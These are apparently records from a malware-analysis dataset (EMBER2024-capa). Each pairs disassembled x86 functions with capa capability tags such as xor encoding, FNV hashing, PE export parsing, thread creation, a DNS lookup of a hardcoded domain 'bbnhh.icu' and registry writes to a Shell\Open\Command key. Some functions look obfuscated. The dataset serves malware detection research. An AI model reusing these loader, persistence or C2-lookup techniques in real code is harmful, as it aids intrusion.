joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c1f90
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f79cd
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10122040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], 1
xor edx, edx
mov edi, 0xf
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x28], dl
mov dword [ebp - 4], edx
mov esi, dword [ecx]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], eax
cmp esi, eax
je 0x100c209c
nop
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x100c2013
cmp dword [esi + 0x14], 0xf
mov eax, esi
jbe 0x100c2001
mov eax, dword [esi]
push dword [esi + 0x10]
lea ecx, [ebp - 0x28]
push eax
call fcn.1002f340
mov edx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x14]
lea ecx, [edx - 3]
cmp ecx, edx
ja 0x100c202d
cmp edi, 0xf
mov dword [ebp - 0x18], ecx
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
mov byte [eax + ecx], 0
jmp 0x100c203a
sub ecx, edx
push 0
push ecx
lea ecx, [ebp - 0x28]
call fcn.1003e2e0
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x18]
mov edi, 0x811c9dc5
cmova eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
xor eax, eax
test edx, edx
je 0x100c2074
mov esi, dword [ebp - 0x34]
nop dword [eax]
movzx ecx, byte [eax + esi]
inc eax
xor ecx, edi
imul edi, ecx, 0x1000193
cmp eax, edx
jb 0x100c2060
mov esi, dword [ebp - 0x30]
cmp edi, dword [ebp + 8]
jne 0x100c2084
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x100c2097
dec eax
mov dword [ebp - 0x2c], eax
add esi, 0x1c
mov dword [ebp - 0x30], esi
cmp esi, dword [ebp - 0x38]
je 0x100c209c
mov edi, dword [ebp - 0x14]
jmp 0x100c1ff0
mov esi, dword [esi + 0x18]
jmp 0x100c209e
xor esi, esi
mov eax, dword [ebp - 0x14]
cmp eax, 0xf
jbe 0x100c20d6
mov edx, dword [ebp - 0x28]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x100c20cc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100c20cc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100f4081
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100f3c06
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100c2770
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov eax, 0x1fffffff
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 8], ebx
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x100c27a1
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov esi, dword [ebx + 4]
or eax, 1
mov dword [ebp - 0xc], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.1002f470
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x100c28ac
nop word [eax + eax]
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
imul edx, edi, 0x1000193
mov edi, dword [ebx + 0x18]
and edi, edx
mov edx, dword [ebx + 0xc]
lea edx, [edx + edi*8]
mov edi, dword [edx]
mov dword [ebp - 0x10], edx
cmp edi, esi
jne 0x100c2831
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x100c28a2
mov edx, dword [edx + 4]
mov ebx, dword [eax + 8]
cmp ebx, dword [edx + 8]
jne 0x100c286b
mov edx, dword [edx]
mov dword [ebp - 4], edx
cmp edx, eax
je 0x100c2863
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], eax
jmp 0x100c289f
cmp edi, edx
je 0x100c287c
nop
mov edx, dword [edx + 4]
cmp ebx, dword [edx + 8]
je 0x100c28b5
cmp edi, edx
jne 0x100c2870
mov ebx, dword [eax + 4]
mov dword [ebp - 4], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [ebp - 8]
mov eax, ecx
cmp ecx, esi
jne 0x100c27e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 4], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x100c289f

Function at 0x100c44a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x100c44d4
call fcn.1003aac0
push 0
push 0
push dword [ebp + 8]
push 0x100c43d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop ebp
ret 0xc
xor eax, eax
pop ebp
ret 0xc
Function at 0x100de950
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov ebx, ecx
or eax, 0xffffffff
push esi
push edi
mov edi, 4
lea esi, [ebx + 4]
jmp dword [edi*4 + 0x100dfb98]
Function at 0x100e5190
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [0x101de9e0]
sub esp, 8
push ebx
push esi
push edi
test edx, edx
je 0x100e52e1
cvttss2si eax, dword [0x101ca848]
mov ecx, dword [0x101e5474]
mov dword [ebp - 8], eax
test cl, 1
jne 0x100e5240
or ecx, 1
mov dword [0x101e5474], ecx
mov ebx, dword [edx + 0x30]
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x100e521f
mov esi, dword [ebx + 0xc]
mov edi, 0x811c9dc5
xor ecx, ecx
nop
inc ecx
cmp byte [esi + ecx], 0
jne 0x100e51e0
xor edx, edx
test ecx, ecx
je 0x100e5209
nop dword [eax]
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100e51f0
cmp edi, 0x7ac0d5a
je 0x100e522c
mov ebx, dword [ebx + 4]
mov dword [ebp - 4], ebx
test ebx, ebx
jne 0x100e51d4
mov ecx, dword [0x101e5474]
mov edx, dword [0x101de9e0]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [0x101e5478], ebx
jmp 0x100e5248
mov ecx, dword [0x101e5474]
mov edx, dword [0x101de9e0]
mov dword [0x101e5478], ebx
jmp 0x100e5248
mov eax, dword [0x101e5478]
mov dword [ebp - 4], eax
test cl, 2
jne 0x100e52a6
or ecx, 2
mov dword [0x101e5474], ecx
mov ebx, dword [edx + 0x30]
jmp 0x100e529c
mov esi, dword [ebx + 0xc]
mov edi, 0x811c9dc5
xor ecx, ecx
nop word [eax + eax]
inc ecx
cmp byte [esi + ecx], 0
jne 0x100e5270
xor edx, edx
test ecx, ecx
je 0x100e5299
nop dword [eax]
movsx eax, byte [esi + edx]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x100e5280
cmp edi, 0xa0f6f854
je 0x100e52a0
mov ebx, dword [ebx + 4]
test ebx, ebx
jne 0x100e5260
mov dword [0x101e5470], ebx
mov ecx, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
test esi, esi
jle 0x100e52ce
push 1
call eax
mov ecx, dword [0x101e5470]
push esi
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call eax
mov ecx, dword [0x101e5470]
push 0
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100f0c40
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
sub esp, 8
movzx eax, byte [edx]
push ebx
push esi
xor eax, 0x811c9dc5
push edi
mov edi, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
lea eax, [ebp - 8]
imul ebx, ecx, 0x1000193
mov ecx, edi
push ebx
push edx
push eax
call fcn.100f11b0
mov esi, dword [eax + 4]
test esi, esi
je 0x100f0cf5
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0xc]
and ecx, ebx
lea ecx, [eax + ecx*8]
mov eax, dword [ecx]
cmp dword [ecx + 4], esi
jne 0x100f0cbc
cmp eax, esi
jne 0x100f0cb4
mov eax, dword [edi + 4]
mov dword [ecx], eax
mov dword [ecx + 4], eax
jmp 0x100f0cc4
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
jmp 0x100f0cc4
cmp eax, esi
jne 0x100f0cc4
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
dec dword [edi + 8]
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
lea ecx, [esi + 0x50]
call fcn.1002f180
push 0x5c
push esi
call fcn.100f4081
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100f1770
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov eax, 0x1fffffff
bsr ecx, eax
push esi
push edi
mov edi, 1
mov dword [ebp - 8], ebx
mov eax, edi
shl eax, cl
mov ecx, dword [ebp + 8]
cmp ecx, eax
jbe 0x100f17a1
push str.invalid_hash_bucket_count
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ecx - 1]
mov esi, dword [ebx + 4]
or eax, 1
mov dword [ebp - 0xc], esi
bsr ecx, eax
push esi
lea ecx, [ecx + 1]
shl edi, cl
lea ecx, [ebx + 0xc]
lea eax, [edi + edi]
push eax
call fcn.1002f470
lea eax, [edi - 1]
mov dword [ebx + 0x1c], edi
mov dword [ebx + 0x18], eax
mov eax, dword [ebx + 4]
mov eax, dword [eax]
mov ecx, eax
cmp eax, esi
je 0x100f18ac
nop word [eax + eax]
movzx edx, byte [eax + 8]
xor edx, 0x811c9dc5
mov ecx, dword [ecx]
imul edi, edx, 0x1000193
movzx edx, byte [eax + 9]
xor edi, edx
movzx edx, byte [eax + 0xa]
imul edi, edi, 0x1000193
xor edi, edx
movzx edx, byte [eax + 0xb]
imul edi, edi, 0x1000193
xor edi, edx
mov edx, dword [ebx + 0xc]
imul edi, edi, 0x1000193
and edi, dword [ebx + 0x18]
lea edx, [edx + edi*8]
mov edi, dword [edx]
mov dword [ebp - 0x10], edx
cmp edi, esi
jne 0x100f182f
mov dword [edx], eax
mov dword [edx + 4], eax
jmp 0x100f18a2
mov edx, dword [edx + 4]
mov ebx, dword [eax + 8]
cmp ebx, dword [edx + 8]
jne 0x100f1869
mov edx, dword [edx]
mov dword [ebp - 4], edx
cmp edx, eax
je 0x100f1861
mov ebx, dword [eax + 4]
mov esi, dword [ebp - 4]
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [edx + 4], eax
jmp 0x100f189f
cmp edi, edx
je 0x100f187c
nop dword [eax]
mov edx, dword [edx + 4]
cmp ebx, dword [edx + 8]
je 0x100f18b5
cmp edi, edx
jne 0x100f1870
mov ebx, dword [eax + 4]
mov dword [ebp - 4], ebx
mov dword [ebx], ecx
mov ebx, dword [ecx + 4]
mov dword [ebx], edx
mov edi, dword [edx + 4]
mov dword [edi], eax
mov dword [edx + 4], ebx
mov edx, dword [ebp - 4]
mov dword [ecx + 4], edx
mov edx, dword [ebp - 0x10]
mov dword [eax + 4], edi
mov dword [edx], eax
mov ebx, dword [ebp - 8]
mov eax, ecx
cmp ecx, esi
jne 0x100f17e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ebx, dword [eax + 4]
mov edx, dword [edx]
mov dword [ebp - 4], edx
mov esi, edx
mov dword [ebx], ecx
mov edi, dword [ecx + 4]
mov dword [edi], edx
mov edx, dword [edx + 4]
mov dword [edx], eax
mov dword [esi + 4], edi
mov esi, dword [ebp - 0xc]
mov dword [ecx + 4], ebx
mov dword [eax + 4], edx
jmp 0x100f189f
Function at 0x154bcd1
Capabilities:
Authenticate hmac

Disassembly:
jmp 0x154f48c
bt bx, bp
test ch, 0xd5
cmp edi, ebx
pushfd
lea esp, [esp + 0x34]
jno 0x15485eb
pushal
pushfd
lea esp, [esp + 0x24]
ja 0x154bb43
shl al, 6
cmp bl, 0xd4
adc al, 0xbb
xor al, ah
sub ebx, edi
ror al, 1
bswap edi
shr edi, 0xa
pushfd
lea esp, [esp + 4]
add ebx, esp
xor al, bh
mov edi, ebx
xor al, bl
mov al, 0x21
rcl al, 3
push ecx
mov al, 0x2e
mov byte [esp], dh
cmp ah, 0x7d
pushal
repne scasb al, byte es:[edi]
mov word [esp], di
lea esp, [esp + 0x24]
jne 0x2757e8a
not al
mov byte [edi - 1], 0
bswap ax
push ebx
bswap eax
bswap eax
lea eax, [0x27b550c]
jmp 0x27bb835
pushal
pushal
lea esp, [esp + 0x40]
ja 0x154bb43
ror al, cl
rol al, 4
sub ebx, edi
push ecx
lea esp, [esp + 4]
add ebx, esp
bsf di, dx
push 0x64ea337f
call fcn.027c04c8

Function at 0x275757d
Capabilities:
Encode data using xor

Disassembly:
push ds
pop ds
invalid
mov byte [esp], 0xf9
call fcn.027bc28a
adc eax, 0x812cd319
psubsb mm6, qword [ebx + 0x199caa37]
in eax, 0x18
add ah, byte [ebx + 0x4f]
ror al, cl
inc ebp
cmp dword [edx - 0x49946498], edi
test al, 0x25
std
loopne 0x2757570
dec ebx
arpl dx, sp
inc ebx
jne 0x2757613
add eax, 0xaa033343
xor eax, dword [ebx]
stosb byte es:[edi], al
les esp, [ecx]
sub eax, 0xf7fd7bbd
cmp eax, 0xee340443
jne 0x27575ae
mov ecx, 0xaa034429
and byte [ebx + 0x7b], 0xf8
mov edx, 0x6fb665b7
lodsb al, byte [esi]
xchg ebx, eax
test al, dl
pop esi
adc eax, 0xad82cb40
and ebp, dword [ebx]
stc
int1
in eax, dx
or cl, ah
sbb eax, 0x9392c3bf
stosb byte es:[edi], al
jle 0x27575f1
sub eax, 0x5d81bbe9
pop esi
or al, 0x24
mov edx, 0x48a4c217
movsb byte es:[edi], byte [esi]
dec eax
fiadd word [eax - 0x3fc68574]
int 0xbc
dec esp
hlt
pop es
int 0x62
dec eax
int1
mov ebx, 0x65b0075b
cmp ebx, ebx
push esi
sbb al, 0xc7
scasd eax, dword es:[edi]
mov word [esi + 0xd1baba7], fs
mov ebp, 0x9a1e587b
xchg byte [edi - 0x48895351], ah
xchg ebx, eax
xor eax, 0xefeec407
out dx, eax
outsb dx, byte [esi]
jb 0x27575ce
push edi
push 0xf2e489f
adc esi, dword [eax]
or ah, byte [eax]
movsd dword es:[edi], dword [esi]
or dword [ebx - 0x6c], 0xdce80f80
or edi, ebx
js 0x2757682
ror ebp, 1
xor al, 0xb1
xchg ebp, eax
invalid
mov byte [0x8e58aa48], al
cwde
pop esi
insb byte es:[edi], dx
mov ebx, 0xbe1a20c3
lcall 0x3ae9, 0xef4b8e72
add cl, byte [edi + 0x78]
jb 0x27576c4
jb 0x27576c4
xchg edi, eax
jae 0x2757677
mov esi, 0x224d258c
wait
nop
sti
jg 0x275766a
mov ecx, 0x49f6779b
and bl, byte [edx + ebx - 0x47]
leave
cmp dl, byte [edi + edx*8]
dec edi
sbb eax, 0xac822b01
movsd dword es:[edi], dword [esi]
dec ebp
movsd dword es:[edi], dword [esi]
pop esp
sbb ch, byte [eax]
cmp dword [ebp + 6], 0x8aa2b9bf
add ch, bl
pop esi
mov word [eax + 0x25], es
xchg esi, eax
dec dword [edx]
loopne 0x27576d1
fbld tbyte [ecx]
adc byte [esi + edx*4], dh
adc byte [eax + 0x4969be5a], 0xd2
dec esp
pop edx
mov esi, 0x4cd24969
sub byte [edi + esi*2 + 0x794dad67], al
dec esi
inc esp
outsd dx, dword [esi]
loop 0x27576c2
dec esp
sub byte [edi - 0x559574a2], ah
test byte [0xd0f27ffd], 0x4d
inc ebp
xchg ebp, eax
outsd dx, dword [esi]
fbstp tbyte [ecx + 0x142a2957]
adc dword [ecx], eax
ret 0x81a4
Function at 0x27b44a2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
lea esp, [esp + 8]
je 0x27583df
clc
rcr si, cl
test al, dh
btr dx, 0xa
mov esi, dword [eax + 0x3c]
shl dh, cl
add esi, eax
not dl
sal dh, 5
add edx, 0xa87b94c2
stc
mov edx, dword [esi + 0x78]
pushfd
test edx, edx
push ecx
push 0xbbf21e39
lea esp, [esp + 0xc]
je 0x27583df
stc
add edx, eax
btr cx, bx
bswap cx
pushal
mov ecx, dword [esi + 0x7c]
call fcn.01547da1
shl eax, 0xc
and al, 0x24
pushfd
mov dword [esp + 4], edx
aaa
cwde
mov eax, dword [ebp + 8]
pushfd
test eax, eax
mov byte [esp + 4], ah
jmp 0x275770a

Function at 0x27bcbca
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp + 0xc]
jne 0x27583df
rcl esi, cl
xor si, 0xb18
pushfd
sbb cl, cl
mov ecx, edi
dec esi
sub ecx, ebx
sub si, ax
sar si, cl
adc si, bx
neg si
lea esi, [esp + 4]
pushal
sub edi, 4
pushfd
push dword [esp + 4]
call fcn.027bff18
jmp 0x27585ec
Function at 0x10003b00
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 0x3c]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, 0x78
mov dword [ebp - 0x1c], eax
mov ecx, 8
imul edx, ecx, 0
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x20]
add ecx, dword [ebp + 0xc]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 8], 0
jmp 0x10003b88
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jae 0x10003c5f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + eax*4], 0
jne 0x10003ba2
jmp 0x10003b7f
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x10], 0
jmp 0x10003bc0
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x38]
jae 0x10003c5a
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x3c]
movzx eax, word [edx + ecx*2]
cmp eax, dword [ebp - 8]
jne 0x10003c55
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x40]
mov eax, dword [edx + ecx*4]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax]
jne 0x10003c39
cmp byte [ebp - 1], 0
je 0x10003c30
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx + 1]
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax + 1]
jne 0x10003c39
add dword [ebp - 0x14], 2
add dword [ebp - 0x18], 2
cmp byte [ebp - 2], 0
jne 0x10003bfc
mov dword [ebp - 0x24], 0
jmp 0x10003c41
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 0
jne 0x10003c55
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x50]
jmp 0x10003c61
jmp 0x10003bb7
jmp 0x10003b7f
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10003fd0
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov eax, dword [0x1003802c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 0x1a4], 1
mov dword [ebp - 0x198], 0
cmp dword [ebp - 0x198], 3
jge 0x10004027
mov ecx, dword [0x1003ab28]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x19c], eax
jmp 0x10004044
mov dword [ebp - 0x1a0], str.bbnhh.icu
mov edx, dword [ebp - 0x1a0]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x198]
add eax, 1
mov dword [ebp - 0x198], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x19c], 0
je 0x10004009
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x19c]
mov ecx, dword [eax + 0xc]
mov edx, dword [edx + ecx]
mov eax, dword [0x10038b8c]
mov ecx, dword [edx]
mov dword [eax], ecx
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cf0a
mov esp, ebp
pop ebp
ret
Function at 0x10005a90
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1003802c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10005ad3
or eax, 0xffffffff
jmp 0x10005c3f
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx]
mov byte [ebp - 0x21], dl
add dword [ebp - 0x28], 1
cmp byte [ebp - 0x21], 0
jne 0x10005ae2
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea edx, [ebp - 0x20]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10005b55
or eax, 0xffffffff
jmp 0x10005c3f
mov ecx, dword [str.Shell]
mov dword [ebp - 0x14], ecx
mov dx, word [0x100335c4]
mov word [ebp - 0x10], dx
mov eax, dword [str.Open]
mov dword [ebp - 0xc], eax
mov cl, byte [0x100335cc]
mov byte [ebp - 8], cl
mov edx, dword [str.Command]
mov eax, dword [0x100335d4]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax]
mov byte [ebp - 0x22], cl
add dword [ebp - 0x2c], 1
cmp byte [ebp - 0x22], 0
jne 0x10005bfd
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cf0a
mov esp, ebp
pop ebp
ret